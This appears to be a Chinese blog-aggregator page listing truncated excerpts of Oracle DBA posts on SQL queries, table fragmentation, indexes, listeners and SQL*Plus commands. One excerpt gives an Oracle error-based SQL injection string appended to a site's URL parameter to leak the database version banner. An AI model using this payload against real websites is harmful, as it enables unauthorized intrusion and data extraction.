1.日期对比 select * from table_name where createtime <= to_date('2017-01-12 03:59:26','YYYY-MM-DD HH24:MI:SS') 日期对比直接用< > =,to_date为强制转换为日期格式;'YYYY-MM-DD
原创
2022-07-20 15:42:56
94阅读
1、关于group by表内容: 2005-05-09 胜 2005-05-09 胜 2005-05-09 负 2005-05-09 负 2005-05-10 胜 2005-05-10 负&nbs
转载
精选
2014-09-26 09:20:58
3603阅读
Oracle 数据库整理表碎片表碎片的来源当针对一个表的删除操作很多时,表会产生大量碎片。删除操作释放的空间不会被插入操作立即重用,甚至永远也不会被重用。怎样确定是否有表碎片-- 收集表统计信息
SQL> exec dbms_stats.gather_table_stats(ownname=>'SCHEMA_NAME',tabname=> 'TABLE_NAME');
-- 确
转载
2023-07-27 21:20:07
109阅读
--查询表空间使用情况select a.tablespace_name,total,free,total-free used from( select tablespace_name,sum(bytes)/1024/1024 total from dba_data_files group by tablespace_name) a,( select tablespace_n
转载
精选
2015-08-27 18:18:59
497阅读
DBA/ALL/USER/V_$/GV_$/SESSION/INDEX开头的绝大部分都是视图 DBA_TABLES意为DBA拥有的或可以访问的所有的关系表。 ALL_TABLES意为某一用户拥有的或可以访问的所有的关系表。 USER_TABLES意为某一用户所拥有的所有的关系表。 当某一用户本身就为
转载
2017-02-19 18:43:00
61阅读
【建表】create table emp( id number(12), name nvarchar2(20), primary key(id));【充值一】insert into empselect rownum,dbms_random.string('*',dbms_random.value(6,20))from d
原创
2023-04-23 07:36:34
514阅读
第一种方法http://www.xxox.cn/XXX/AA.php?id=1 and and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)-
转载
精选
2010-12-25 20:19:01
10000+阅读
一、oracle的索引陷阱
1、使用不等于操作符(<>,!=)
2、使用is null或is not null
3、使用函数
4、比较不匹配的数据类型
二,各种索引使用场合及建议
三、索引创建策略
转载
精选
2011-08-01 19:26:19
414阅读
转载自:http://www.cnblogs.com/liuweihua/archive/2012/05/05/2484446.htmloracle TOPSQL整理--top 10 sql SELECT *
FROM (SELECT b.userna
转载
精选
2015-01-23 16:30:53
419阅读
Oracle常用 ##命令 命令 内容 lsnrctl status 查看监听器命令 tsnping 192.168.1.** Oracle net网络服务是否可被接受 select name from v$database 查看数据库 select instance_name from v$ins ...
转载
2021-08-12 22:48:00
127阅读
2评论
Oracle索引整理
原创
2021-03-27 23:12:10
609阅读
Oracle 作为一种大型数据库,广泛应用于金融、邮电、电力、民航等数据吞吐量巨大,计算机网络广泛普及的重要部门。对于系统管理员来讲,如何保证网络稳定运行,如何提高数据库性能,使其更加安全高效,就显得尤为重要。作为影响数据库性能的一大因素 -- 数据库碎片,应当引起 DBA 的足够重视,及时发现并整理
转载
2009-05-19 16:51:50
847阅读
http://liusuper.iteye.com/blog/219013
一,
oracle的索引陷阱
一个表中有几百万条数据,对某个字段加了索引,但是查询时性能并没有什么提高,这主要可能是oracle的索引限制造成的。
oracle的索引有一些索引限制,在这些索引限制发生的情况下,即使已经加了索引,oracle还是会执行一次全表扫描,查询的性能不
转载
精选
2012-08-13 17:52:29
231阅读
数据库碎片是影响数据库性能的一个大因素,应及时发现并整理碎片。一、 碎片是如何产生的当创建一个数据库实例时,会分成称为表空间(tablespace)的多个逻辑段(segment),如系统(system)表空间,临时(temporary)表空间等。一个表空间可以包含多个数据范围(extent)和一个或多个自由范围块,即自由空间(free space)。表空间、段、范围、自由空间的
原创
2013-08-06 10:01:28
628阅读
碎片是如何产生的 当生成一个数据库时,它会 分成称为表空间( Tablespace )的多个逻辑段( Segment ),如系统( System )表空间 , 临时( Temporary )表空间等。一个表空间可以包含多个数据范围( Extent )和一个或多个自由范围块,即自由空间( Free Space )。 表空间、段、范围、自由空间的逻辑关系如下: 当表空间中生成一个段时,将从
转载
精选
2013-07-30 17:21:35
412阅读
Oracle笔记整理对于启动数据库而言,在10G上先是启动监听(lsnrctl start),再是启动数据库(sqlplus / as sysdba startup;),接着启动EM(emctl startdbconsole); 在11G上安装GRID后默认是动态注册数据库实例的。数据库具体的启动过程这里必须说道SGA和PGA 一个是系统全局区,一个是程序全局区。数据库启动的时候会在内
原创
2013-12-06 12:23:14
765阅读
点赞
ora-01789 查询块具有不正确的结果列数 这个错误一般在执行表之间的相加(union),相减(minus)等SQL语句时发生。只要将两段SQL语句的列数调整一致就可以解决了。===========================================================OCI-22053ov
原创
2010-12-04 03:22:48
659阅读
接下来就讲讲关于ORACLE 监听的配置: 要求配置一个静态监听,和动态监听。静态监听:就是默认的端口(1521)动态监听就是非默认的端口 监听的文档在10g 文档中的NET 中 Net Services Reference 中找:sqlnet.ora 那tnsname 和listener 就在他下面。静态监听就是
原创
2014-07-15 17:50:43
601阅读
*****************文件操作命令*****************===========start和@说明:运行sql脚本案例:sql>@ d:\a.sql 或者 sql>START d:\a.sql===========edit说明:该命令可以编辑指定的sql脚本案例:sql>edit d:\a.sql===========spool说明:该
原创
2021-05-31 10:44:23
181阅读
*****************文件操作命令*****************===========start和@说明:运行sql脚本案例:sql>@ d:\a.sql 或者 sql>START d:\a.sql===========edit说明:该命令可以编辑指定的sql脚本案例:sql>edit d:\a.sql===========spool说明:该
原创
2021-08-07 11:55:37
119阅读